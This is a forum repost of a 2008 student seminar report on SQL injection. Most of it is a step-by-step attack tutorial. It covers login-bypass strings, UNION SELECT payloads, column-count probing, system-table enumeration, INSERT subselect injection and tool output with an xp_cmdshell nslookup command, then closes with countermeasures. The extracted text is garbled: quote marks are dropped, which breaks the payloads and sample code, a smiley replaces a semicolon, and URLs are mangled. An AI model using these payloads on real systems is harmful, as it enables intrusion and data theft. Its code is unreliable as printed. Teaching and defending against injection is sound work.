08-17-2017, 12:03 AM
SQL INJECTION
A SEMINAR REPORT
Submitted by
SANJEEV KUMAR JAISWAL
in partial fulfillment of requirement of the Degree
of
Bachelor of Technology (B.Tech)
IN
COMPUTER SCIENCE AND ENGINEERING
SCHOOL OF ENGINEERING
COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY
KOCHI- 682022
AUGUST 2008Page 2
DIVISION OF COMPUTER SCIENCE AND ENGINEERING
SCHOOL OF ENGINEERING
COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY
KOCHI-682022
Certified that this is a bonafide record of the seminar entitled
SQL INJECTION
Presented by the following student
SANJEEV KUMAR JAISWAL
of the VII semester, Computer Science and Engineering in the year 2008 in partial
fulfillment of the requirements in the award of Degree of Bachelor of Technology in
Computer Science and Engineering of Cochin University of Science and Technology.
Ms. Vini Vijayan
Dr. David Peter S.
Seminar Guide
Head of the Division
Date:
CertificatePage 3
Acknowledgement
Many people have contributed to the success of this. Although a single sentence hardly
suffices, I would like to thank Almighty God for blessing us with His grace. I extend my
sincere and heart felt thanks to Dr. David Peter, Head of Department, Computer
Science and Engineering, for providing us the right ambience for carrying out this work. I
am profoundly indebted to my seminar guide, Ms. Vini Vijayan for innumerable acts of
timely advice, encouragement and I sincerely express my gratitude to her.
I express my immense pleasure and thankfulness to all the teachers and staff of the
Department of Computer Science and Engineering, CUSAT for their cooperation and
support.
Last but not the least, I thank all others, and especially my classmates who in one way or
another helped me in the successful completion of this work.
SANJEEV KUMAR JAISWALPage 4
ABSTRACT
This paper contains information about this extremely popular database attack.
Most of today's web applications require dynamic content and input from users to
achieve the same appeal as traditional applications within the desktop operating
systems. This is achieved by using languages such as SQL the most common being
mySQL. The attacker can gain unauthorized access to restricted data suck as
usernames /passwords/email addresses etc.
Using SQL injections, attackers can: Add new data to the database.
With some more advanced queries and tricky techniques the attacker can
potentially bypass the authentication and gain complete control over the web
application and potentially the web server..
Perform an INSERT in the injected SQL Modify data currently in the database.
Perform an UPDATE in the injected SQL Often can gain access to other user s
system capabilities by obtaining their password.
Could be embarrassing to find yourself selling politically incorrect items on an
e-Commerce site.Page 5
TABLE OF CONTENTS
Chapter No.
Title PAGE
LIST OF FIGURES
ii
1.
INTRODUCTION
1
2. CHECKING FOR VULNERABILITY
3
3 ATTACKS
6
3.1 AUTHORIZATION BYPASS
3.2 USING THE SELECT COMMAND
3.3 USING THE INSERT COMMAND
3.4 USING SQL SERVERS STORED
PROCEDURES
4.
AUTOMATED SQL INJECTION TOOLS
20
5. COUNTERMEASURES
21
5.1 INPUT VALIDATION
5.2 SQL SERVER LOCKDOWN
5.3 ROBUST NETWORK ARCHITECTURE
6. CONCLUSION
23
7. REFERENCES
24
iPage 6
LIST OF FIGURES
NO:
NAME
PAGE
3.2.1
BROWSER RESPONSE
ON UNION COMMAND
13
3.2.2
TABLES USING
WHERE
14
3.2.3
TABLES USING
SELECT
16
3.2.4
TABLES USING UNION 17
5.3.1
ROBUST NETWORK
ARCHITECTURE
25
iiPage 7
SQL Injection
1. Introduction
The World Wide Web has experienced remarkable growth in recent years. Businesses,
individuals, and governments have found that web applications can offer effective,
efficient and reliable solutions to the challenges of communicating and conducting
commerce in the Twenty-first century. However, in the cost-cutting rush to bring their
web-based applications on line or perhaps just through simple ignorance many
software companies overlook or introduce critical security issues.
To build secure applications, developers must acknowledge that security is a
fundamental
component of any software product and that safeguards must be infused with the software as it is
being written. Building security into a product is much easier (and vastly more cost-effective)
than any post-release attempt to remove or limit the flaws that invite intruders to attack your site.
To prove that dictum, consider the case of blind SQL injection
SQL injection is a technique for exploiting web applications that use client-supplied data
in SQL queries, but without first stripping potentially harmful characters. Despite being
remarkably simple to protect against, there is an astonishing number of production
systems connected to the Internet that are vulnerable to this type of attack. The objective
of this paper is to focus the professional security community on the techniques that can
be used to take advantage of a web application that is vulnerable to SQL injection, and to
make clear the correct mechanisms that should be put in place to protect against SQL
injection and input validation problems in general.
Most of today's web applications require dynamic content and input from users to
achieve the same appeal as traditional applications within the desktop operating systems.
This is achieved by using languages such as SQL the most common being mySQL.
SQL Injection is inputting the raw transact SQL Query into an application to perform an
Division of Computer Engineering
1Page 8
SQL Injection
unexpected action. Most of the time existing queries are edited to achieve the same
results. Transact SQL is easily changed by the placement of a single character in a chosen
spot causing the query to behave in malicious ways. The most commonly used characters
are backtick ( ), double dash(--), and the semi colon (
![Wink Wink](https://easyreport.in/images/smilies/wink.png)
in SQL.
So what exactly can an attacker do with an unsurped SQL query?
The attacker can gain unauthorised access to restricted data suck as usernames
/passwords / email addresses etc. With some more advanced queries and sneakier
techniques the attacker can potentially bypass the authentication and gain complete
control over the web application and potentially the web server.
This is a hacking method that allows an unauthorized attacker to access a database server.
It is facilitated by a common coding blunder: the program accepts data from a client and
executes SQL queries without first validating the client s input. The attacker is then free
to extract, modify, add, or delete content from the database. In some circumstances, he
may even penetrate past the database server and into the underlying operating system.
Hackers typically test for SQL injection vulnerabilities by sending the application input
that would cause the server to generate an invalid SQL query. If the server then returns an
error message to the client, the attacker will attempt to reverse-engineer portions of the
original SQL query using information gained from these error messages. The typical
administrative safeguard is simply to prohibit the display of database server error
messages. Regrettably, that s not sufficient. Blind SQL injection can still evade the
databases.
Character Encoding
Most web browsers will not properly interpret requests containing punctuation characters
and many other symbols unless they are URL-encoded. In this paper, I have used regular
ASCII characters in the examples and screenshots to maintain maximum readability. In
Division of Computer Engineering
2Page 9
SQL Injection
practice, though, you will need to substitute %25 for percent sign, %2B for plus sign,
etc., in the HTTP request statement.
2.
Checking for Vulnerability
Thoroughly checking a web application for SQL injection vulnerability takes more effort
than one might guess. It s nice when you throw a single quote into the first argument of a
script and the server returns a nice blank, white screen with nothing but an ODBC error
on it, but such is not always the case.
It is very easy to overlook a perfectly vulnerable script if you don t pay attention to
details. You should always check every parameter of every script on the server.
Developers and development teams can be awfully inconsistent. The programmer who
designed Script A might have had nothing to do with the development of Script B, so
where one might be immune to SQL injection, the other might be ripe for abuse. In fact,
the programmer who worked on Function A in Script A might have nothing to do with
Function B in Script A, so while one parameter in one script might be vulnerable, another
might not. Even if an entire web application is conceived, designed, coded and tested by
one programmer, one vulnerable parameter might be overlooked. You never can be sure.
Test everything
.
Testing procedure
Replace the argument of each parameter with a single quote and an SQL keyword (such
as " WHERE"). Each parameter needs to be tested individually. Not only that, but when
testing each parameter, leave all of the other parameters unchanged, with valid data as
their arguments. It can be tempting to simply delete everything you re not working with
Division of Computer Engineering
3Page 10
SQL Injection
to make things look simpler, particularly with applications that have parameter lines that
go into many thousands of characters. Leaving out parameters or giving other parameters
bad arguments while you re testing another for SQL injection can break the application in
other ways that prevent you from determining whether or not SQL injection is possible.
For instance, assume that this is a completely valid, unaltered parameter line
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
while this parameter line gives you an ODBC error ContactName=Maria
%20Anders&CompanyName= %20OR
and checking with this line might simply return an error indicating that you need to
specify a ContactName value.
CompanyName=
This line
ContactName=BadContactName&CompanyName=
might give you the same page as the request that didn t specify ContactName at all.
Or, it might give you the site s default homepage. Or, perhaps when the application
couldn t find the specified ContactName, it didn t bother to look at CompanyName, so it
didn t even pass the argument of that parameter into an SQL statement. Or, it might give
you something completely different. So, when testing for SQL injection, always use the
full parameter line, giving every argument except the one that you are testing a legitimate
value.
Evaluating Results
If the server returns a database error message of some kind, injection was definitely
successful. However, the messages aren t always obvious. Again, developers do some
strange things, so you should look in every possible place for evidence of successful
injection. First, search through the entire source of the returned page for phrases such as
Division of Computer Engineering
4Page 11
SQL Injection
ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in
hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that return an error message with absolutely no information in the
body of the HTTP response, but that have the database error message in a header. Many
web applications have these kinds of features built into them for debugging and QA
purposes, and then developers forget to remove or disable them before release.
You should look not only on the immediately returned page, but also in linked pages.
During a recent penetration test, I saw a web application that returned a generic error
message page in response to an SQL injection attack. Clicking on a stop sign image next
to the error retrieved another page giving the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from the
database error message page before you even get a chance to notice it.
Note that SQL injection may be successful even if the server returns an ODBC error
messages. Many times the server returns a properly formatted, seemingly generic error
message page telling you that there was an internal server error or a problem
processing your request.
Some web applications are designed to return the client to the site s main page whenever
any type of error occurs. If you receive a 500 Error page back, chances are that injection
is occurring. Many sites have a default 500 Internal Server Error page that claims that the
server is down for maintenance, or that politely asks the user to send an e-mail to their
support staff. It can be possible to take advantage of these sites using stored procedure
techniques.
Division of Computer Engineering
5Page 12
SQL Injection
3. Attacks
This section describes the following SQL injection techniques:
Authorization bypass
Using the SELECT command
Using the INSERT command
Using SQL server stored procedures
3.1 Authorization Bypass
The simplest SQL injection technique is bypassing logon forms. Consider the
following web application code:
SQLQuery = "SELECT Username FROM Users WHERE Username = " & strUsername
& " AND Password = " & strPassword & " " strAuthCheck =
GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Else
boolAuthenticated = True End If
Here s what happens when a user submits a username and password. The query will go
through the Users table to see if there is a row where the username and password in the
row match those supplied by the user. If such a row is found, the username is stored in
the variable strAuthCheck, which indicates that the user should be authenticated. If there
is no row that the user-supplied data matches, strAuthCheck will be empty and the user
will not be authenticated.
If strUsername and strPassword can contain any characters that you want, you can
modify the actual SQL query structure so that a valid name will be returned by the query
even if you do not know a valid username or a password. How? Let s say a user fills out
the logon form like this:
Login: OR = Password: OR =
This will give SQLQuery the following value:
Division of Computer Engineering
6Page 13
SQL Injection
SELECT Username FROM Users WHERE Username = OR = AND Password =
OR =
Instead of comparing the user-supplied data with that present in the Users table, the query
compares a quotation mark (nothing) to another quotation mark (nothing). This, of
course, will always return true. (Please note that nothing is different from null.) Since all
of the qualifying conditions in the WHERE clause are now met, the application will
select the username from the first row in the table that is searched. It will pass this
username to strAuthCheck, which will ensure our validation. It is also possible to use
another row s data, using single result cycling techniques.
3.2 Using the SELECT Command
For other situations, you must reverse-engineer several parts of the vulnerable web
application s SQL query from the returned error messages. To do this, you must know
how to interpret the error messages and how to modify your injection string to defeat
them.
Direct vs. Quoted
The first error that you normally encounter is the syntax error. A syntax error indicates
that the query does not conform to the proper structure of an SQL query. The first thing
that you need to determine is whether injection is possible without escaping quotation.
In a direct injection, whatever argument you submit will be used in the SQL query
without any modification. Try taking the parameter s legitimate value and appending a
space and the word OR to it. If that generates an error, direct injection is possible.
Direct values can be either numeric values used in WHERE statements, such as this
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
Employee = " & intEmployeeID
or the argument of an SQL keyword, such as table or column name:
Division of Computer Engineering
7Page 14
SQL Injection
SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " &
strColumn
All other instances are quoted injection vulnerabilities. In a quoted injection, whatever
argument you submit has a quote prefixed and appended to it by the application, like this:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
EmployeeID = " & strCity & " "
To break out of the quotes and manipulate the query while maintaining valid syntax,
your injection string must contain a single quote before you use an SQL keyword, and
end in a WHERE statement that needs a quote appended to it. And now to address the
problem of cheating. Yes, SQL Server will ignore everything after a ;-- but it s the
only server that does that. It s better to learn how to do this the hard way so that you ll
know how to handle an Oracle, DB/2, MySQL, or any other kind of database server.
Basic UNION
SELECT queries are used to retrieve information from a database. Most web applications
that use dynamic content of any kind will build pages using information returned from
SELECT queries. Most of the time, the part of the query that you will be able to
manipulate will be the WHERE clause.
To make the server return records other than those intended, modify a WHERE clause by
injecting a UNION SELECT. This allows multiple SELECT queries to be specified in
one statement. Here s one example:
SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT
CompanyName FROM Customers WHERE 1 = 1
This will return the recordsets from the first query and the second query together. The
ALL is necessary to escape certain kinds of SELECT DISTINCT statements. Just make
sure that the first query (the one the web application s developer intended to be executed)
returns no records. Suppose you are working on a script with the following code:
Division of Computer Engineering
8Page 15
SQL Injection
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City =
" & strCity & " "
And you use this injection string:
UNION ALL SELECT OtherField FROM OtherTable WHERE =
The following query will be sent to the database server:
SELECT FirstName, LastName, Title FROM Employees WHERE City = UNION
ALL SELECT OtherField FROM OtherTable WHERE =
The database engine will inspect the Employees table, looking for a row where City is set
to nothing. Since it will not find it, no records will be returned. The only records that
will be returned will be from the injected query. In some cases, using nothing will not
work because there are entries in the table where nothing is used, or because specifying
nothing makes the web application do something else. You simply need to specify a
value that does not occur in the table. When a number is expected, zero and negative
numbers often work well. For a text argument, simply use a string such as
NoSuchRecord or NotInTable.
Query Enumeration with Syntax Errors
Some database servers return the portion of the query containing the syntax error in their
error messages. In these cases you can bully fragments of the SQL query from the
server by deliberately creating syntax errors. Depending on the way the query is
designed, some strings will return useful information and others will not.
Here s my list of suggested attack strings. Several will often return the same or no
information, but there are instances where only one of them will give you helpful
information. Try them all
BadValue
BadValue OR
OR
;
9,9,9
Division of Computer Engineering
9Page 16
SQL Injection
Parentheses
If the syntax error contains a parenthesis in the cited string (such as the SQL Server
message used in the following example) or the message complains about missing
parentheses, add a parenthesis to the bad value part of your injection string, and one to
the WHERE clause. In some cases, you may need to use two or more parentheses.
Here s the code used in parenthesis.asp:
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees
WHERE (City = " & strCity & " )"
So, when you inject this value
) UNION SELECT OtherField FROM OtherTable WHERE ( = ,
the following query will be sent to the server:
SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE
(City = ) UNION SELECT OtherField From OtherTable WHERE ( = )
LIKE Queries
Another common debacle is being trapped in a LIKE clause. Seeing the LIKE keyword or
percent signs cited in an error message are indications of this situation. Most search functions use
SQL queries with LIKE clauses, such as the following:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName
LIKE %" & strLastNameSearch & "% "
The percent signs are wildcards, so in this example the WHERE clause would return true in any
case where strLastNameSearch appears anywhere in LastName. To stop the intended query from
returning records, your bad value must be something that none of the values in the LastName
field contain. The string that the web application appends to the user input (usually a percent sign
and single quote, and often parenthesis as well) needs to be mirrored in the WHERE clause of
the injection string. Also, using nothing as your bad values will make the LIKE argument %
% resulting in a full wildcard, which returns all records. The second screenshot shows a
working injection query for the above code.
Division of Computer Engineering
10Page 17
SQL Injection
Dead Ends
There are situations that you may not be able to defeat without an enormous amount of effort, if
at all. Occasionally you ll find yourself in a query that you just can t seem to break. No matter
what you do, you get error after error after error. Many times, this is because you re trapped
inside a function that s inside a WHERE clause, and the WHERE clause is in a subselect which
is an argument of another function whose output is having string manipulations performed on it
and then used in a LIKE clause which is in a subselect somewhere else. Not even SQL Server s
;- - can rescue you in those cases
.
Column Number Mismatch
If you can get around the syntax error, the hardest part is over. The next error message will
probably complain about a bad table name. Choose a valid system table name.
You will then most likely be confronted with an error message that complains about the
difference in the number of fields in the SELECT and UNION SELECT queries. You need to
find out how many columns are requested in the legitimate query. Let s say that this is the code
in the web application that you re attacking:
SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE City =
" & strCity " "
The legitimate SELECT and the injected UNION SELECT need to have an equal number of
columns in their WHERE clauses. In this case, they both need three. Their column types also
need to match. If FirstName is a string, then the corresponding field in your injection string
needs to be a string as well. Some servers, such as Oracle, are very strict about this. Others are
more lenient and allow you to use any data type that can do implicit conversion to the correct
data type. For example, in SQL Server, putting numeric data in a varchar s place is allowed,
because numbers can be converted to strings implicitly. Putting text in a smallint column,
however, is illegal because text cannot be converted to an integer. Because numeric types often
convert to strings easily (but not vice versa), use numeric values by default.
To determine the number of columns you need to match, keep adding values to the UNION
SELECT clause until you stop getting a column number mismatch error. If you encounter a data
Division of Computer Engineering
11Page 18
SQL Injection
type mismatch error, change the data type (of the column you entered) from a number to a literal.
Sometimes you will get a conversion error as soon as you submit an incorrect data type. At other
times, you will get only the conversion message once you ve matched the correct number of
columns, leaving you to figure out which columns are the ones that are causing the error. When
the latter is the case, matching the value types can take a very long time, since the number of
possible combinations is 2
n
where n is the number of columns in the query. By the way, 40-
column SELECT commands are not terribly uncommon.
If all goes well, the server should return a page with the same formatting and structure as a
legitimate one. Wherever dynamic content is used, you should have the results of your injection
query.
To illustrate, when I submitted the following command
http://localhost/column.asp?city= UNION ALL SELECT 9 FROM SysObjects WHERE =
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
Division of Computer Engineering
12Page 19
SQL Injection
Fig:3.2.1 Browser response on Union command
So I incremented the number of columns and resubmitted the command, continuing this until I
received a different error message.
http://localhost/column.asp?city= UNION ALL SELECT 9,9 FROM SysObjects WHERE =
http://localhost/column.asp?city= UNION ALL SELECT 9,9,9 FROM SysObjects WHERE =
http://localhost/column.asp?city= UNION ALL SELECT 9,9,9,9 FROM SysObjects WHERE
=
On the last command, the server returned the following error message:
Operand type dash; ntext is incompatible with int.
Division of Computer Engineering
13Page 20
SQL Injection
So I submitted the following command and the server returned the page illustrated in Figure 2:
http://localhost/column.asp?city= UNION ALL SELECT 9,9,9, text FROM SysObjects
WHERE =
Fig:3.2.2 Tables using WHERE
Additional WHERE Columns
Sometimes your problem may be additional WHERE conditions that are added to the query after
your injection string. Consider this line of code:
Division of Computer Engineering
14Page 21
SQL Injection
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = " &
strCity & " AND Country = USA "
Trying to deal with this query like a simple direct injection would yield a query such as:
SELECT FirstName, LastName, Title FROM Employees WHERE City = NoSuchCity UNION
ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = USA
Which yields an error message such as:
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name Country .
The problem here is that your injected query does not have a table in the FROM clause that
contains a column named Country in it. There are two ways to solve this problem: use the ;--
terminator (if you re using SQL Server), or guess the name of the table that the offending
column is in and add it to your FROM clause. Use the attack queries listed in Query
Enumeration with Syntax Errors to try to get as much of the legitimate query back as possible
.
Table and Field Name Enumeration
Now that you have injection working, you have to decide what tables and fields you want to
access. With SQL Server, you can easily get all of the table and column names in the database.
With Oracle and Access, you may or may not be able to do this, depending on the privileges of
the account that the web application is using to access the database.
The key is to be able to access the system tables that contain the table and column names. In
SQL Server, they are called sysobjects and syscolumns, respectively. There is a list of system
tables for other database servers at the end of this document; you will also need to know relevant
column names in those tables). These tables contain a listing of all tables and columns in the
database. To get a list of user tables in SQL Server, use the following injection query, modified
to fit you own circumstances:
SELECT name FROM sysobjects WHERE xtype = U
This will return the names of all user-defined tables (that s what xtype = U does) in the
database. Once you find one that looks interesting (we ll use Orders), you can get the names of
the fields in that table with an injection query similar to this
Division of Computer Engineering
15Page 22
SQL Injection
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name
= Orders )
The first illustration in Figure 3 shows the results returned by the following injection query:
http://localhost/simplequoted.asp?city = UNION ALL SELECT name, 0, 0, A , 0 FROM
sysobjects WHERE xtype= U
The second illustration in Figure 6 shows the results returned by the following injection query:
http://localhost/simplequoted.asp?city = UNION ALL SELECT name, 0, 0, A , 0 FROM
sysobjects WHERE id = (SELECT id FROM sysobjects WHERE name = ORDERS ) AND =
Fig:3.2.3 Tables USING SELECT
Division of Computer Engineering
16Page 23
SQL Injection
Fig:3.2.4 Tables using UNION
Single Record Cycling
If possible, use an application that is designed to return as many results as possible. Search tools
are ideal because they are made to return results from many different rows at once. Some
applications are designed to use only one recordset in their output at a time, and ignore the rest.
If you re faced with a single product display application, you can still prevail.
You can manipulate your injection query to allow you to slowly, but surely, get your desired
information back in full. This is accomplished by adding qualifiers to the WHERE clause that
prevent certain rows information from being selected. Let s say you started with this injection
string:
UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE =
And you got the first values in FieldOne, FieldTwo and FieldThree injected into your document.
Let s say the values of FieldOne, FieldTwo and FieldThree were Alpha, Beta and Delta,
respectively. Your second injection string would be:
UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne
NOT IN ( Alpha ) AND FieldTwo NOT IN ( Beta ) AND FieldThree NOT IN ( Delta ) AND
=
Division of Computer Engineering
17Page 24
SQL Injection
The NOT IN VALUES clause makes sure that the information you already know will not be
returned again, so the next row in the table will be used instead. Let s say these values were
AlphaAlpha, BetaBeta and DeltaDelta..
3.3 Using the INSERT Command
The INSERT command is used to add information to the database. Common uses of INSERT in
web applications include user registrations, bulletin boards, adding items to shopping carts, etc.
Checking for vulnerabilities with INSERT statements is the same as doing it with WHERE. You
may not want to try to use INSERT if avoiding detection is an important issue. INSERT injection
often floods rows in the database with single quotes and SQL keywords from the reverse-
engineering process. Depending on how watchful the administrator is and what is being done
with the information in that database, it may be noticed.
Here s how INSERT injection differs from SELECT injection. Suppose a site allows user
registration of some kind, providing a form where you enter your name, address, phone number,
etc. After submitting the form, you navigate to a page where it displays this information and
gives you an option to edit it. This is what you want. To take advantage of an INSERT
vulnerability, you must be able to view the information that you ve submitted. It doesn t matter
where it is. Maybe when you log on, it greets you with the value it has stored for your name in
the database. Maybe the application sends you e-mail with the Name value in it. However you do
it, find a way to view at least some of the information you ve entered
.
An INSERT query looks like this:
INSERT INTO TableName VALUES ( Value One , Value Two , Value Three )
You want to be able to manipulate the arguments in the VALUES clause to make them retrieve
other data. You can do this using subselects.
Consider this example code:
3.4 SQLString = "INSERT INTO TableName VALUES ( " & strValueOne & " , " &
strValueTwo & " , " & strValueThree & " )"
Division of Computer Engineering
18Page 25
SQL Injection
You fill out the form like this:
Name: + (SELECT TOP 1 FieldName FROM TableName) + Email: [email protected] Phone:
333-333-3333
Making the SQL statement look like this:
INSERT INTO TableName VALUES ( + (SELECT TOP 1 FieldName FROM TableName) +
, [email protected] , 333-333-3333 )
When you go to the preferences page and view your user s information, you ll see the first value
in FieldName where the user s name would normally be. Unless you use TOP 1 in your
subselect, you ll get back an error message saying that the subselect returned too many records.
You can go through all of the rows in the table using NOT IN ( ) the same way it is used in
single-record cycling.
Division of Computer Engineering
19Page 26
SQL Injection
4. Automated SQL Injection Tools
SQL Injection is typically performed manually, BUT some tools are available that will
help automate the process of identifying and exploiting the vulnerability.
Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic
web documents. SQL error strings are stored in a signature file, making it easier for anyone to
add their own signature for a possible SQL Injection signature for a web application. Wpoison
runs on linux and is available at http://wpoison.sourceforeg.net
mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website
for possible SQL Insertion problems. This script will take the output of a website mirroring tool
as input inspecting every file and determining whether there is a form in the file. The string to
be injected can easily be changed in the configuration file. To obtain a copy of the script
please see 'http://packetstormsecurityUNIX/security/mieliekoek.pl' please make sure you
have a perl environment installed.
Here is an example of the output of mieliekoek.pl :
$badstring='blah';
$badstring='blah' or 1=1 --';
$badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;
SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQL
Injection testing. The SPI Toolkit is available at http://spidynamics.com
Division of Computer Engineering
20Page 27
SQL Injection
5. Countermeasures
5.1 Input Validation
Input validation can be a complex subject. Typically, too little attention is paid to it in a
development project, since overenthusiastic validation tends to cause parts of an
application to break, and the problem of input validation can be difficult to solve. Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines.
The following is a brief discussion of input validation, with sample code. This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well.
The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
Solution (1) has a number of conceptual problems; first, the developer is not necessarily
aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered
all the time. Second, 'massaging' the data can alter its length, which can result in
problems as described above. Finally, there is the problem of second-order effects
involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over
time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of
hyphenated surnames :
Quentin Bassington-Bassington
Division of Computer Engineering
21Page 28
SQL Injection
We must allow hyphens in our 'good' input, but we are also aware that the character
sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can
simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.
Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
Approach 3 - Allow only good input
function validatepassword( input )
Division of Computer Engineering
22Page 29
SQL Injection
good_password_chars
=
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
5.2 SQL Server Lockdown
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure
'out of the box'. Here is a brief list of things to do when creating a SQL Server build:
1. Determine methods of connection to the server
a. Verify that only the network libraries you're using are enabled, using the 'Network
utility'
2. Verify which accounts exist
a. Create 'low privileged' accounts for use by applications
b. Remove unnecessary accounts
Division of Computer Engineering
23Page 30
SQL Injection
c. Ensure that all accounts have strong passwords; run a password auditing script
(such as the one provided as an appendix to this paper) against the server on a
regular basis
3. Verify which objects exist
a. Many extended stored procedures can be removed safely. If this is done, consider
removing the '.dll' file containing the extended stored procedure code.
b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
a. The account that an application uses to access the database should have only the
minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
a. There are several buffer overflow and format string attacks against SQL Server
(mostly discovered by the author) as well as several other 'patched' security
issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.
An excellent lockdown checklist is provided at sqlsecurity.com..
Replace direct SQL statements with stored procedures, prepared statements, or ADO
command Objects.
Division of Computer Engineering
24Page 31
SQL Injection
Implements Default Error Handling. This would include using a single error message for
all errors
Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements through
Lock down User Database configuration Specify. users, roles and permissions etc.
5.3 Robust network architecture design will aid in the defense of any enterprise. The diagram
shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all public
facing servers
Fig: 5.3.1 Robust Network Architecture
6. Conclusions
Division of Computer Engineering
25Page 32
SQL Injection
This article is to make aware the people who are anyways related to database
maintenance say DBA, Site owner, Computer science students involving in projects
related to database and to general people who are launching their sites on internet.
Through this article one can know that what are the breaches that can be secured either
code or protection security like firewalls.
So, before launching your site or when checking your site try to check atleast the codes
what are illustrated in this article and if you find any bugs please correct it as soon as
possible and if its not your website then please inform the owner through mail or phone
that that site has bugs( be ethical) else attacking on other sites using this technique is
illegal, so I m not responsible for any kind of unethical stuffs. Do that at your own risk.
7. References
[1] Web Application Disassembly with ODBC Error Messages, David
Litchfield
Division of Computer Engineering
26Page 33
SQL Injection
http://nextgensspapers/webappdis.doc
[2] SQL Server Security Checklist
http://sqlsecuritychecklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://atstakeresearch/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://atstakeresearch/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://microsofttechnet/security/bulletin/MS01-060.asp
http://atstakeresearch/advisories/2001/a122001-1.txt
[6] http://youtubewatch?v=MJNJjh4jORY